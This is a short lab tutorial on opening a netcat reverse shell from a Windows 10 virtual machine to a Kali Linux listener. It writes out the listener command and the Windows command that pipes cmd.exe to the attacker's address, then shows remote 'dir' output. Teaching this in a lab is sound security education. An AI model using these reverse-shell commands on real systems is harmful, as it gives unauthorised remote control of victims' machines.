How to create a reverse shell between Kali Linux and Windows 10
Let's suppose you have followed previous articles:
First this:
And then this:
Now we want to create a shell between two virtual machines such that we can run commands from Kali Linux into Windows 10. and this type of shell is called reverse shell.
All the requirements of previous article is needed for this tutorial, and this is the following article of this one:
OK.
Step 1:
In Kali Linux enter this command:
nc -nlvp 1234
(If you have followed previous article, you should know what are these flags.)
Step 2:
In Windows 10 virtual machine, go to the directory where you have downloaded the nc.exe (see previous tutorial) and open CMD in there and type this command:
nc.exe -nv 192.168.10.10 1234 -e cmd.exe
My Kali Linux ip address is 192.168.10.10 so I have entered it above.
Step 3:
Now, if you go back to Kali Linux virtual machine you will see something like this in the terminal:
And as you can see the shell has been opened, and now you can run Windows commands in the Kali Linux terminal and watching your commands being executed on Windows 10 virtual machine.
For example let's run below command in the Kali Linux terminal:
dir
You can see the it successfully returned the list of directories of Windows 10 virtual machine.